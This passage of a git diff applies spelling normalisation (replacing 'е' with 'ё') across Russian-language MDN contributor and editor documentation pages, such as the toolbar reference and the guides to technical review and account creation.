href="https://developer.mozilla.org/en-US/docs/MDN/Doc_status/Overview">Обзор статуса документации</a></dt> - <dd>Страница <a href="https://developer.mozilla.org/en-US/docs/MDN/Doc_status/Overview">обзора статуса документации</a> содержит список всех областей MDN, которые были сконфигурированы для отслеживания статуса. Она содержит информацию о том, сколько страниц нуждаются в различных доработках. Выбрав конкретную тему, вы можете просмотреть подробные списки документов, которые необходимо доработать. Это могут быть страницы, которые не имеют тегов, или помечены индикаторами "необходимо выполнить определенные виды работ". Вы можете даже просмотреть списки страниц, которые не обновлялись в течение длительного времени и могут быть устаревшими, а также список ошибок, которые были отмечены как влияющие на документацию в этой области.</dd> + <dd>Страница <a href="https://developer.mozilla.org/en-US/docs/MDN/Doc_status/Overview">обзора статуса документации</a> содержит список всех областей MDN, которые были сконфигурированы для отслеживания статуса. Она содержит информацию о том, сколько страниц нуждаются в различных доработках. Выбрав конкретную тему, вы можете просмотреть подробные списки документов, которые необходимо доработать. Это могут быть страницы, которые не имеют тегов, или помечены индикаторами "необходимо выполнить определённые виды работ". Вы можете даже просмотреть списки страниц, которые не обновлялись в течение длительного времени и могут быть устаревшими, а также список ошибок, которые были отмечены как влияющие на документацию в этой области.</dd> <dt><a href="/en-US/docs/MDN/Plans">Планы проектов документации</a></dt> - <dd>Для некоторых проектов созданы планы документации, которые помогают отслеживать то, что еще необходимо сделать. К таким проектам относятся проекты на стадии планирования или большие, постоянные проекты.</dd> + <dd>Для некоторых проектов созданы планы документации, которые помогают отслеживать то, что ещё необходимо сделать. К таким проектам относятся проекты на стадии планирования или большие, постоянные проекты.</dd> <dt><a href="https://tree.taiga.io/project/viya-mdn-durable-team">MDN Taiga</a></dt> <dd>Штатные сотрудники MDN используют инструмент под названием Taiga для управления текущими и будущими проектами документации. Вы также можете посмотреть чем мы занимаемся и какие проекты планируются в ближайшем будущем. Некоторые из них будут взяты на себя штатными сотрудниками, но вы также можете взяться за них, если захотите! Для получения дополнительной информации о живых технологических процессах, сопровождаемых командой MDN, смотрите нашу <a href="https://wiki.mozilla.org/Engagement/MDN_Durable_Team/Processes"> Страницу технологических процессов на Mozilla wiki</a>.</dd> </dl> @@ -97,7 +97,7 @@ original_slug: MDN/Сообщество/Working_in_community <p>Наиболее вероятным местом, где вы могли бы напрямую пересечься с другими писателями является IRC канал {{IRCLink("mdn")}}. Этот канал зарезервирован специально для дискуссий о документации. По поводу особенностей IRC этикета смотрите статью из Mozilla Support "<a href="https://quality.mozilla.org/docs/misc/getting-started-with-irc/" title="https://quality.mozilla.org/docs/misc/getting-started-with-irc/">Getting Started with IRC</a>". Вы можете дискутировать с нами также на <a href="https://discourse.mozilla-community.org/c/mdn">Дискуссионном форуме MDN</a>. Уместно заметить, что IRC, как правило, используют для быстрых, более личных бесед, а дискуссионный форум обычно используют для продолжительных бесед.</p> -<p>Имея ввиду {{anch("Общее руководство по этикету")}}, вы увидите, что все идет обычно очень гладко.</p> +<p>Имея ввиду {{anch("Общее руководство по этикету")}}, вы увидите, что все идёт обычно очень гладко.</p> <h2 id="Смотри_также">Смотри также</h2> diff --git a/files/ru/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html b/files/ru/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html index c2bbde2e7a..60cc6f7531 100644 --- a/files/ru/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html +++ b/files/ru/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html @@ -28,8 +28,8 @@ original_slug: MDN/Contribute/Howto/Create_an_MDN_account <ol> <li>В верхней части каждой страницы MDN есть кнопка с надписью <strong>Войти</strong>. Наведите курсор мыши на неё (или нажмите на неё, если вы на мобильном устройстве), чтобы отобразить список сервисов, которые мы поддерживаем для регистрации в MDN.</li> <li>Выберите аккаунт для того, чтобы <strong>Войти в систему</strong>. Сейчас доступны GitHub и Google. Обратите внимание, что если вы выберете GitHub, то ссылка на ваш GitHub-профиль будет отображаться на публичной странице вашего профиля MDN.</li> - <li>Следуйте инструкциям, чтобы подключить выбранную учетную запись к MDN (например, форма для входа через GitHub будет выглядеть как на картинке ниже).</li> - <li>После того, как служба аутентификации вернет вас на сайт MDN, вам будет предложено ввести имя пользователя MDN и адрес электронной почты. <em>Ваше имя пользователя будет отображаться публично, чтобы при вкладе в развитие сообщества было видно ваше авторство. Не используйте свой адрес электронной почты в качестве имени пользователя<strong>.</strong></em></li> + <li>Следуйте инструкциям, чтобы подключить выбранную учётную запись к MDN (например, форма для входа через GitHub будет выглядеть как на картинке ниже).</li> + <li>После того, как служба аутентификации вернёт вас на сайт MDN, вам будет предложено ввести имя пользователя MDN и адрес электронной почты. <em>Ваше имя пользователя будет отображаться публично, чтобы при вкладе в развитие сообщества было видно ваше авторство. Не используйте свой адрес электронной почты в качестве имени пользователя<strong>.</strong></em></li> <li>Нажмите <strong>Создать мой профиль MDN</strong>.</li> <li>Если адрес электронной почты, указанный в шаге 4, не то же самый, который вы используете на выбранном для аутентификации сервисе, то проверьте свою электронную почту и нажмите на ссылку в письме с подтверждением, которое мы выслали вам.</li> </ol> diff --git a/files/ru/orphaned/mdn/contribute/howto/do_a_technical_review/index.html b/files/ru/orphaned/mdn/contribute/howto/do_a_technical_review/index.html index 8c5a6e29a5..de9763f692 100644 --- a/files/ru/orphaned/mdn/contribute/howto/do_a_technical_review/index.html +++ b/files/ru/orphaned/mdn/contribute/howto/do_a_technical_review/index.html @@ -41,7 +41,7 @@ original_slug: MDN/Contribute/Howto/Do_a_technical_review <li><a id="core-steps" name="core-steps"></a>Прочитайте статью, обращая пристально внимание на технические детали: Верна ли статья? Чего-то не хватает? Не стесняйтесь переключаться на другую статью, если выбранная не устраивает Вас.</li> <li>Если ошибок нет, то Вам не нужно редактировать статью, чтобы отметить её как просмотренную. Посмотрите на окно "быстрого обзора" в левой боковой панели страницы:<br> <br> - Выберите флажок <strong>Технический</strong> и нажмите <strong>Обзор завершен</strong>.</li> + Выберите флажок <strong>Технический</strong> и нажмите <strong>Обзор завершён</strong>.</li> <li>Если Вы нашли ошибки, которые нужно исправить: <ol> <li>Нажмите кнопку <strong>Редактировать</strong> в верхней части страницы; она переместит Вас в <a href="/ru/MDN/Contribute/Editor" title="/ru/MDN/Contribute/Editor">редактор MDN</a>.</li> diff --git a/files/ru/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html b/files/ru/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html index 3556bb253c..1a29be1318 100644 --- a/files/ru/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html +++ b/files/ru/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html @@ -34,7 +34,7 @@ original_slug: MDN/Contribute/Howto/Do_an_editorial_review <li><a id="core-steps" name="core-steps"></a>Прочитайте статью, обращая пристальное внимание на опечатки и орфографические, грамматические или оборотные ошибки. Не стесняйтесь переключаться на другую статью, если выбранная не устраивает Вас.</li> <li>Если ошибок нет, то Вам не нужно редактировать статью, чтобы отметить её как прошедшую корректуру. Посмотрите на окно "быстрого обзора" в левой боковой панели страницы:<br> <img alt=""><br> - Выберите флажок <strong>Редакционный</strong> и нажмите <strong>Обзор завершен</strong>.</li> + Выберите флажок <strong>Редакционный</strong> и нажмите <strong>Обзор завершён</strong>.</li> <li>Если Вы нашли ошибки, которые нужно исправить: <ol> <li>Нажмите кнопку <strong>Редактировать</strong> в верхней части страницы; она переместит Вас в <a href="/ru/MDN/Contribute/Editor">редактор MDN</a>.</li> diff --git a/files/ru/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html b/files/ru/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html index ab6d1a6292..edcba6158f 100644 --- a/files/ru/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html +++ b/files/ru/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html @@ -12,7 +12,7 @@ original_slug: MDN/Contribute/Howto/Как_оптимизировать_стра <dt>Что необходимо сделать?</dt> <dd>Выделить ключевые слова и написать оптимизированную (SEO) статью .</dd> <dt><strong>Где это нужно сделать?</strong></dt> - <dd>На любых страницах, которые еще не оптимизированы, либо на страницах, которые не достаточно хорошо оптимизированы.</dd> + <dd>На любых страницах, которые ещё не оптимизированы, либо на страницах, которые не достаточно хорошо оптимизированы.</dd> <dt><strong>Необходимые знания и навыки для выполнения этого задания?</strong></dt> <dd>Навыки использования MDN редактора; владение Английским языком на уровне - native; умение писать SEO-статьи.</dd> <dt><strong>Что необходимо для этого сделать?</strong></dt> diff --git a/files/ru/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html b/files/ru/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html index 81daf4193d..0145e2d7d6 100644 --- a/files/ru/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html +++ b/files/ru/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html @@ -13,7 +13,7 @@ original_slug: MDN/Contribute/Howto/Метки_JavaScript_страниц <dl> <dt>Где это нужно сделать?</dt> - <dd>Внутри определенных <a href="/en-US/docs/Web/JavaScript/Doc_status#No_tags">JavaScript-страниц без тегов</a></dd> + <dd>Внутри определённых <a href="/en-US/docs/Web/JavaScript/Doc_status#No_tags">JavaScript-страниц без тегов</a></dd> <dt>Что вам нужно знать, чтобы выполнить эту задачу?</dt> <dd>Базовые знания JavaScript, например, знание метода или свойства.</dd> <dt>Каковы шаги для этого?</dt> @@ -21,7 +21,7 @@ original_slug: MDN/Contribute/Howto/Метки_JavaScript_страниц <ol> <li>Выберите одну из страниц в списке, указанном выше.</li> <li>Нажмите ссылку на статью, чтобы загрузить страницу.</li> - <li>После загрузки страницы, нажмите кнопку <strong>EDIT</strong> рядом с нее названием; это перенесет вас в редактор MDN.</li> + <li>После загрузки страницы, нажмите кнопку <strong>EDIT</strong> рядом с неё названием; это перенесёт вас в редактор MDN.</li> <li>Как минимум тег <code>JavaScript</code> нужно добавить. Так же здесь список возможных тегов для добавления: <table class="standard-table"> <thead> diff --git a/files/ru/orphaned/mdn/editor/basics/index.html b/files/ru/orphaned/mdn/editor/basics/index.html index cd27a591b8..77db90898e 100644 --- a/files/ru/orphaned/mdn/editor/basics/index.html +++ b/files/ru/orphaned/mdn/editor/basics/index.html @@ -25,27 +25,27 @@ original_slug: MDN/Editor/Basics <li><a href="/ru/docs/MDN/Contribute/Editor/Basics/Tags">Теги</a></li> <li>{{anch("Примечание")}}</li> <li>{{anch("Запрос проверки")}}</li> - <li><a href="/ru/docs/MDN/Contribute/Editor/Basics/Attachments">Прикрепленные файлы</a></li> + <li><a href="/ru/docs/MDN/Contribute/Editor/Basics/Attachments">Прикреплённые файлы</a></li> </ul> <h2 id="Поле_редактирования">Поле редактирования</h2> <p>Поле редактирования - это, конечно же. место где вы вводите текст.</p> -<p>Нажатие правой кнопки мыши (ПКМ) в поле редактирования показывает дополнительные опции, в зависимости от контекста. Нажатие ПКМ на таблице, например, предлагает опции для работы с таблицами, а на списке, соответственно, опции для работы со списками. По умолчанию редактор использует свое собственное контекстное меню в поле редактирования. Чтобы открыть стандартное браузерное контекстное меню, при нажатии ПКМ зажмите <kbd>Shift</kbd> или <kbd>Control</kbd> (<kbd>Command</kbd> на Mac OS X).</p> +<p>Нажатие правой кнопки мыши (ПКМ) в поле редактирования показывает дополнительные опции, в зависимости от контекста. Нажатие ПКМ на таблице, например, предлагает опции для работы с таблицами, а на списке, соответственно, опции для работы со списками. По умолчанию редактор использует своё собственное контекстное меню в поле редактирования. Чтобы открыть стандартное браузерное контекстное меню, при нажатии ПКМ зажмите <kbd>Shift</kbd> или <kbd>Control</kbd> (<kbd>Command</kbd> на Mac OS X).</p> <p>Во время работы в окне редактирования вы можете использовать специальные сочетания клавиш.</p> <h2 id="Примечание">Примечание</h2> -<p>После того как вы закончили свою работу, настоятельно рекомендуется добавлять к своим изменениям примечание. Оно будет показано в истории изменений к этой странице, а также в обзорной панели изменений (<a href="/en-US/dashboards/revisions">Revision Dashboard</a>). Это поможет объяснить и донести смысл ваших изменений до тех, кто может просматривать их позже. Чтобы добавить свое примечание, просто заполните это поле перед нажатием на кнопку <strong>Сохранить</strong>/<strong>Опубликовать</strong>.</p> +<p>После того как вы закончили свою работу, настоятельно рекомендуется добавлять к своим изменениям примечание. Оно будет показано в истории изменений к этой странице, а также в обзорной панели изменений (<a href="/en-US/dashboards/revisions">Revision Dashboard</a>). Это поможет объяснить и донести смысл ваших изменений до тех, кто может просматривать их позже. Чтобы добавить своё примечание, просто заполните это поле перед нажатием на кнопку <strong>Сохранить</strong>/<strong>Опубликовать</strong>.</p> <p>Вот несколько причин почему это полезно:</p> <ul> <li>Если причина ваших изменений не очевидна, ваш комментарий поможет её донести до других.</li> <li>Если ваши правки технически сложные, примечание поможет в них разобраться. Оно может содержать номер ошибки, например, к которой редакторы смогут обратиться для более подробной информации.</li> - <li>Если ваши изменения содержат в себе удаление большого количества контента, вы можете объяснить свое решение (например: "Я переместил этот текст в статью N").</li> + <li>Если ваши изменения содержат в себе удаление большого количества контента, вы можете объяснить своё решение (например: "Я переместил этот текст в статью N").</li> </ul> <h2 id="Запрос_проверки">Запрос проверки</h2> diff --git a/files/ru/orphaned/mdn/editor/basics/page_controls/index.html b/files/ru/orphaned/mdn/editor/basics/page_controls/index.html index e8fbdf1e6f..a9fced467d 100644 --- a/files/ru/orphaned/mdn/editor/basics/page_controls/index.html +++ b/files/ru/orphaned/mdn/editor/basics/page_controls/index.html @@ -25,7 +25,7 @@ original_slug: MDN/Editor/Basics/Page_controls <dd>Эта кнопка открывает новую вкладку или окно, в котором показано как будут выглядеть ваши изменения после публикации. Это подразумевает, что все ваши <a href="/ru/docs/MDN/Contribute/Content/Macros">макросы</a> и <a href="/ru/docs/MDN/Kuma/Introduction_to_KumaScript#Template_Syntax">шаблоны</a> будут показаны как уже обработанные. Обратите внимание, что ваша работа не будет сохранена при использовании этой опции. Эта возможность позволяет вам проверить, до того как вы сделали свои изменения публичными, не допустили ли вы ошибок в своих шаблонах, макросах, или при оформлении текста. Если вы столкнулись с ошибками выполнения скриптов, смотрите <a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Troubleshooting#Scripting_error_while_previewing_a_page">Troubleshooting scripting error while previewing a page</a>.</dd> <dd> <div class="warning" style="font-size: 14px;"> - <p><strong>Внимание:</strong> В настоящее время некоторые шаблоны и макросы не выполняются корректно при предварительном просмотре, оставляя страницу без части контента (таких как боковые меню), и, следовательно, частично искажая страницу. Кроме того, если <a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Editor/Basics#scayt"><abbr title="Spell-Check As You Type">SCAYT</abbr> включен</a> (и если страница содержит определенные рабочие макросы или шаблоны), режим предварительного просмотра может выдавать ошибку выполнения скриптов.</p> + <p><strong>Внимание:</strong> В настоящее время некоторые шаблоны и макросы не выполняются корректно при предварительном просмотре, оставляя страницу без части контента (таких как боковые меню), и, следовательно, частично искажая страницу. Кроме того, если <a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Editor/Basics#scayt"><abbr title="Spell-Check As You Type">SCAYT</abbr> включён</a> (и если страница содержит определённые рабочие макросы или шаблоны), режим предварительного просмотра может выдавать ошибку выполнения скриптов.</p> </div> </dd> <dt>Отменить</dt> diff --git a/files/ru/orphaned/mdn/editor/basics/toolbar/index.html b/files/ru/orphaned/mdn/editor/basics/toolbar/index.html index 29262d112b..237dd51494 100644 --- a/files/ru/orphaned/mdn/editor/basics/toolbar/index.html +++ b/files/ru/orphaned/mdn/editor/basics/toolbar/index.html @@ -65,14 +65,14 @@ original_slug: MDN/Editor/Basics/Toolbar <dt>Undo</dt> <dd>Отменить последнее изменение.</dd> <dt>Redo</dt> - <dd>Применить последнее отмененное изменение.</dd> + <dd>Применить последнее отменённое изменение.</dd> </dl> <h2 id="Работа_с_текстом">Работа с текстом</h2> <dl> <dt>Find / Найти</dt> - <dd>Открывает диалоговое окно <strong>Find and Replace</strong> в режиме "Find", который позволяет найти в вашем документе определенную строку.</dd> + <dd>Открывает диалоговое окно <strong>Find and Replace</strong> в режиме "Find", который позволяет найти в вашем документе определённую строку.</dd> <dt>Replace / Заменить</dt> <dd>Открывает диалоговое окно <strong>Find and Replace</strong> в режиме "Replace", с помощью которого можно найти нужную строку и заменить на новую.</dd> </dl> @@ -86,13 +86,13 @@ original_slug: MDN/Editor/Basics/Toolbar <dt>Enable SCAYT/Disable SCAYT</dt> <dd>Включает или отключает Spell Check As You Type (SCAYT)</dd> <dt>Options</dt> - <dd>Если SCAYT включен, этот пункт открывает диалоговое окно SCAYT во вкладке с опциями для настройки SCAYT.</dd> + <dd>Если SCAYT включён, этот пункт открывает диалоговое окно SCAYT во вкладке с опциями для настройки SCAYT.</dd> <dt>Languages</dt> - <dd>Если SCAYT включен, этот пункт открывает диалоговое окно SCAYT во вкладке "Languages", где вы можете выбрать язык для проверки правописания.</dd> + <dd>Если SCAYT включён, этот пункт открывает диалоговое окно SCAYT во вкладке "Languages", где вы можете выбрать язык для проверки правописания.</dd> <dt>Dictionaries</dt> - <dd>Если SCAYT включен, этот пункт открывает диалоговое окно SCAYT во вкладке "Dictionaries", где вы можете сами выбрать словарь, который SCAYT будет использовать.</dd> + <dd>Если SCAYT включён, этот пункт открывает диалоговое окно SCAYT во вкладке "Dictionaries", где вы можете сами выбрать словарь, который SCAYT будет использовать.</dd> <dt>About SCAYT</dt> - <dd>Если SCAYT включен, этот пункт открывает диалоговое окно SCAYT во вкладке "About", в которой написано о SCAYT.</dd> + <dd>Если SCAYT включён, этот пункт открывает диалоговое окно SCAYT во вкладке "About", в которой написано о SCAYT.</dd> <dt>Check Spelling</dt> <dd>Этот пункт открывает диалоговое окно Spell Checker, в котором вы можете проверить правописание в пакетном режиме (batch mode) для всего документа. Вы можете воспользоваться вкладкой Grammar для проверки грамматических ошибок, или воспользоваться вкладкой Thesaurus для поиска синонимов для слов в документе.</dd> </dl> @@ -112,25 +112,25 @@ original_slug: MDN/Editor/Basics/Toolbar <h2 id="Строковые_стили">Строковые стили</h2> -<p>Строковые стили содержат распространенные стили, которые могут вам пригодиться при оформлении текста.</p> +<p>Строковые стили содержат распространённые стили, которые могут вам пригодиться при оформлении текста.</p> <dl> <dt>Bold</dt> <dd>Переключает <strong>жирный</strong> стиль текста, создавая при этом в разметке элемент {{htmlelement("strong")}}.</dd> <dt>Italic</dt> - <dd>Переключает <em>курсив</em>. Создает {{htmlelement("em")}} элемент.</dd> + <dd>Переключает <em>курсив</em>. Создаёт {{htmlelement("em")}} элемент.</dd> <dt>Underline</dt> - <dd>Переключает <u>нижнее подчеркивание</u>. Создает {{htmlelement("u")}} элемент.</dd> + <dd>Переключает <u>нижнее подчёркивание</u>. Создаёт {{htmlelement("u")}} элемент.</dd> <dt>Strike through</dt> - <dd>Переключает <s>перечеркивание</s>. Создает {{htmlelement("s")}} элемент.</dd> + <dd>Переключает <s>перечёркивание</s>. Создаёт {{htmlelement("s")}} элемент.</dd> <dt>Subscript</dt> - <dd>Переключает <sub>нижний индекс</sub>. Создает {{htmlelement("sub")}} элемент.</dd> + <dd>Переключает <sub>нижний индекс</sub>. Создаёт {{htmlelement("sub")}} элемент.</dd> <dt>Superscript</dt> - <dd>Переключает <sup>верхний индекс</sup>. Создает {{htmlelement("sup")}} элемент. Заметьте, что такой строковый стиль не используется на MDN, так что вам вряд ли когда-нибудь пригодится эта кнопка.</dd> + <dd>Переключает <sup>верхний индекс</sup>. Создаёт {{htmlelement("sup")}} элемент. Заметьте, что такой строковый стиль не используется на MDN, так что вам вряд ли когда-нибудь пригодится эта кнопка.</dd> <dt>Remove format</dt> <dd>Удаляет текущий строковый стиль в выделенном тексте.</dd> <dt>Code</dt> - <dd>Переключает стиль для <code>кода</code>. Создает {{htmlelement("code")}} элемент. Это используется для представления в тексте имен переменных, функций, объектов, файлов и т.п.</dd> + <dd>Переключает стиль для <code>кода</code>. Создаёт {{htmlelement("code")}} элемент. Это используется для представления в тексте имён переменных, функций, объектов, файлов и т.п.</dd> </dl> <h2 id="Работа_со_ссылками">Работа со ссылками</h2> @@ -139,11 +139,11 @@ original_slug: MDN/Editor/Basics/Toolbar <dl> <dt>Link</dt> - <dd>Создает новую ссылку. При нажатии вызывается окно создания ссылки, работа с которым подробна описана в <a href="/ru/docs/MDN/Contribute/Editor/Links#Using_the_toolbar">Ссылки с помощью панели инструментов</a>.</dd> + <dd>Создаёт новую ссылку. При нажатии вызывается окно создания ссылки, работа с которым подробна описана в <a href="/ru/docs/MDN/Contribute/Editor/Links#Using_the_toolbar">Ссылки с помощью панели инструментов</a>.</dd> <dt>Unlink</dt> <dd>Удаляет ссылку в месте, где расположен курсор.</dd> <dt>Anchor</dt> - <dd>Создает якорь в месте, где расположен курсор. Заметьте, что вам не нужно создавать якорь для заголовков, редактор автоматически создает <code>{{htmlattrxref("id")}}</code> для каждого заголовка, заменяя пробелы в названии на нижние подчеркивания. Например, заголовок этой секции имеет <code>id</code>, значение которого <code>Работа_со_ссылками</code>.</dd> + <dd>Создаёт якорь в месте, где расположен курсор. Заметьте, что вам не нужно создавать якорь для заголовков, редактор автоматически создаёт <code>{{htmlattrxref("id")}}</code> для каждого заголовка, заменяя пробелы в названии на нижние подчёркивания. Например, заголовок этой секции имеет <code>id</code>, значение которого <code>Работа_со_ссылками</code>.</dd> <dt>Create a redirect</dt> <dd>Встраивает переадресацию на другую страницу. Смотрите <a href="/ru/docs/MDN/Contribute/Editor/Redirects#Creating_redirects">Создание переадресаций</a> для подробной информации.</dd> </dl> @@ -158,7 +158,7 @@ original_slug: MDN/Editor/Basics/Toolbar <dt>None</dt> <dd>Удаляет стиль с выбранного блока.</dd> <dt>Note box</dt> - <dd>Создает блок с примечание, как показано ниже. Вы должны всегда начинать примечание со слова <strong>"Примечание:"</strong> жирными буквами.</dd> + <dd>Создаёт блок с примечание, как показано ниже. Вы должны всегда начинать примечание со слова <strong>"Примечание:"</strong> жирными буквами.</dd> </dl> <div class="note"> @@ -167,7 +167,7 @@ original_slug: MDN/Editor/Basics/Toolbar <dl> <dt>Warning box</dt> - <dd>Создает блок с предупреждением, как показано ниже. Блок должен всегда начинаться со слова <strong>"Внимание:"</strong> жирными буквами.</dd> + <dd>Создаёт блок с предупреждением, как показано ниже. Блок должен всегда начинаться со слова <strong>"Внимание:"</strong> жирными буквами.</dd> </dl> <div class="warning"> @@ -178,14 +178,14 @@ original_slug: MDN/Editor/Basics/Toolbar <dt>Two columns</dt> <dd>Делает выделенный текст или блок двухколоночным на браузерах, которые это поддерживают.</dd> <dt>Three columns</dt> - <dd>Делает выделенный текст или блок трехколоночным на браузерах, которые это поддерживают.</dd> + <dd>Делает выделенный текст или блок трёхколоночным на браузерах, которые это поддерживают.</dd> <dt>Syntax box</dt> - <dd>Создает поле для синтаксиса, как показано ниже. Это создает {{htmlelement("pre")}}. Вы можете также использовать кнопку "PRE".</dd> + <dd>Создаёт поле для синтаксиса, как показано ниже. Это создаёт {{htmlelement("pre")}}. Вы можете также использовать кнопку "PRE".</dd> <dt> <pre class="syntaxbox notranslate">Это поле для синтаксиса</pre> </dt> <dt>Hidden when reading</dt> - <dd>Создает блок, который видно только в режиме редактирования. Это не то же, что и HTML-комментарий, который виден только в режиме разметки.</dd> + <dd>Создаёт блок, который видно только в режиме редактирования. Это не то же, что и HTML-комментарий, который виден только в режиме разметки.</dd> </dl> <h3 id="Строковые_стили_2">Строковые стили</h3> @@ -220,15 +220,15 @@ original_slug: MDN/Editor/Basics/Toolbar <dl> <dt>Insert/remove numbered list</dt> - <dd>Создает или удаляет нумерованный список. Когда вы работаете над списком, при каждом нажатии <kbd>Enter</kbd> будет создаваться новый элемент списка. Клавиша <kbd>Tab</kbd> может быть использована для увеличения вложенности, а <kbd>Shift</kbd> + <kbd>Tab</kbd>, соответственно, для уменьшения. При нажатии на <kbd>Enter</kbd> в пустом элементе список будет закончен. Нажатие ПКМ на списке открывает контекстное меню с опцией Numbered list properties, в которой можно выбрать стиль маркера.</dd> + <dd>Создаёт или удаляет нумерованный список. Когда вы работаете над списком, при каждом нажатии <kbd>Enter</kbd> будет создаваться новый элемент списка. Клавиша <kbd>Tab</kbd> может быть использована для увеличения вложенности, а <kbd>Shift</kbd> + <kbd>Tab</kbd>, соответственно, для уменьшения. При нажатии на <kbd>Enter</kbd> в пустом элементе список будет закончен. Нажатие ПКМ на списке открывает контекстное меню с опцией Numbered list properties, в которой можно выбрать стиль маркера.</dd> <dt>Insert/remove bulleted list</dt> - <dd>Создает или удаляет маркированный список. Когда вы работаете над списком, при каждом нажатии <kbd>Enter</kbd> будет создаваться новый элемент списка. Клавиша <kbd>Tab</kbd> используется для увеличения вложенности, а <kbd>Shift</kbd> + <kbd>Tab</kbd> для уменьшения. При нажатии на <kbd>Enter</kbd> в пустом элементе список будет закончен. Нажатие ПКМ на списке открывает контекстное меню с опцией Bulleted list properties, в которой можно выбрать стиль нумерации (числа, буквы, римские цифры и пр., а также с какой цифры начинать).</dd> + <dd>Создаёт или удаляет маркированный список. Когда вы работаете над списком, при каждом нажатии <kbd>Enter</kbd> будет создаваться новый элемент списка. Клавиша <kbd>Tab</kbd> используется для увеличения вложенности, а <kbd>Shift</kbd> + <kbd>Tab</kbd> для уменьшения. При нажатии на <kbd>Enter</kbd> в пустом элементе список будет закончен. Нажатие ПКМ на списке открывает контекстное меню с опцией Bulleted list properties, в которой можно выбрать стиль нумерации (числа, буквы, римские цифры и пр., а также с какой цифры начинать).</dd> <dt>Definition List</dt> - <dd>Создает новый список с определениями (definition list). Этот список состоит из серии терминов и определений (именно такой список вы сейчас читаете).</dd> + <dd>Создаёт новый список с определениями (definition list). Этот список состоит из серии терминов и определений (именно такой список вы сейчас читаете).</dd> <dt>Definition Term</dt> - <dd>Создает новый блок с термином в списке. Если в данный момент вы не редактируете список, он будет создан. Нажатие на <kbd>Enter</kbd> автоматически переключается на редактирование нового определения.</dd> + <dd>Создаёт новый блок с термином в списке. Если в данный момент вы не редактируете список, он будет создан. Нажатие на <kbd>Enter</kbd> автоматически переключается на редактирование нового определения.</dd> <dt>Definition Value</dt> - <dd>Создает новый блок с определением в списке. Нажатие на <kbd>Enter</kbd> создает новый термин. Нажав дважды, вы покинете список.</dd> + <dd>Создаёт новый блок с определением в списке. Нажатие на <kbd>Enter</kbd> создаёт новый термин. Нажав дважды, вы покинете список.</dd> <dt>Decrease indent</dt> <dd>Уменьшает вложенность. Того же эффекта можно добиться нажав <kbd>Shift</kbd> + <kbd>Tab</kbd> в списке.</dd> <dt>Increase indent</dt> @@ -249,7 +249,7 @@ original_slug: MDN/Editor/Basics/Toolbar <dt>Table</dt> <dd>Вставляет таблицу в статью. Смотрите <a href="/ru/docs/MDN/Contribute/Editor/Tables">Таблицы</a> для подробной информации о таблицах в статьях.</dd> <dt>Embed YouTube Video</dt> - <dd>Открывает диалоговое окно, в котором вы можете ввести URL для видео YouTube. С этой информацией создается вызов макроса EmbedYouTube. Это безопасный способ встроить видеоконтент.</dd> + <dd>Открывает диалоговое окно, в котором вы можете ввести URL для видео YouTube. С этой информацией создаётся вызов макроса EmbedYouTube. Это безопасный способ встроить видеоконтент.</dd> <dt>Insert MathML based on (La)TeX</dt> <dd>Открывает диалоговое окно, в которое вы можете вставить свой код TeX или LaTeX. Этот код будет конвертирован в <a href="/ru/docs/Web/MathML">MathML</a> вставлен в документ в {{htmlelement("math")}} блоке.</dd> </dl> diff --git a/files/ru/orphaned/mdn/editor/images/index.html b/files/ru/orphaned/mdn/editor/images/index.html index 3853046584..19adda54f1 100644 --- a/files/ru/orphaned/mdn/editor/images/index.html +++ b/files/ru/orphaned/mdn/editor/images/index.html @@ -15,7 +15,7 @@ original_slug: MDN/Editor/Картинки <div class="note"><strong>Замечание: </strong>При загрузке изображения, пожалуйста, убедитесь, что используете инструменты оптимизации, чтобы сделать файл маленьким, а загрузку возможной. Это сокращает время загрузки страницы и помогает производительности MDN в целом. Вы можете использовать свой любимый инструмент, если он у вас есть. Иначе, мы предлагаем <a href="https://tinypng.com/">TinyPNG</a> - удобный Веб инструмент.</div> -<p id="Adding_images_to_an_article">После добавления изображения на страницу (смотрите {{SectionOnPage("/en-US/docs/MDN/Contribute/Editor/Basics", "The attachments box")}}), его можно использовать в оформлении статьи. Также можно использовать любые уже загруженные изображения, размещенные на сайте MDN. Для добавления нажмите на кнопку "Изображение" на панели инструментов: <img alt="Toolbar icon for inserting image" src="https://mdn.mozillademos.org/files/12475/image_icon.png" style="height: 15px; width: 18px;"></p> +<p id="Adding_images_to_an_article">После добавления изображения на страницу (смотрите {{SectionOnPage("/en-US/docs/MDN/Contribute/Editor/Basics", "The attachments box")}}), его можно использовать в оформлении статьи. Также можно использовать любые уже загруженные изображения, размещённые на сайте MDN. Для добавления нажмите на кнопку "Изображение" на панели инструментов: <img alt="Toolbar icon for inserting image" src="https://mdn.mozillademos.org/files/12475/image_icon.png" style="height: 15px; width: 18px;"></p> <p>Окно<strong> Свойства изображения</strong>:</p> diff --git a/files/ru/orphaned/mdn/editor/links/index.html b/files/ru/orphaned/mdn/editor/links/index.html index 5a303726f5..fe1182a58a 100644 --- a/files/ru/orphaned/mdn/editor/links/index.html +++ b/files/ru/orphaned/mdn/editor/links/index.html @@ -42,7 +42,7 @@ original_slug: MDN/Editor/Ссылки <dl> <dd>На картинке вы можете видеть все страницы MDN, чьи заголовки содержат текст, напечатанный вами. Вы можете прокрутить список и выбрать одну из страниц или продолжить набирать текст, сужая список. Заметьте, у названий страниц отображается их язык (в нашем примере это "[en-US]"). Это не отображается в указателе ссылки; так сделано для того, чтобы вы убедились, что вы ссылаетесь на статью того же языка, на котором пишете вы.</dd> <dt>Прикрепление ссылки (Attachments)</dt> - <dd>В качестве альтернативы вы можете сделать так, чтобы 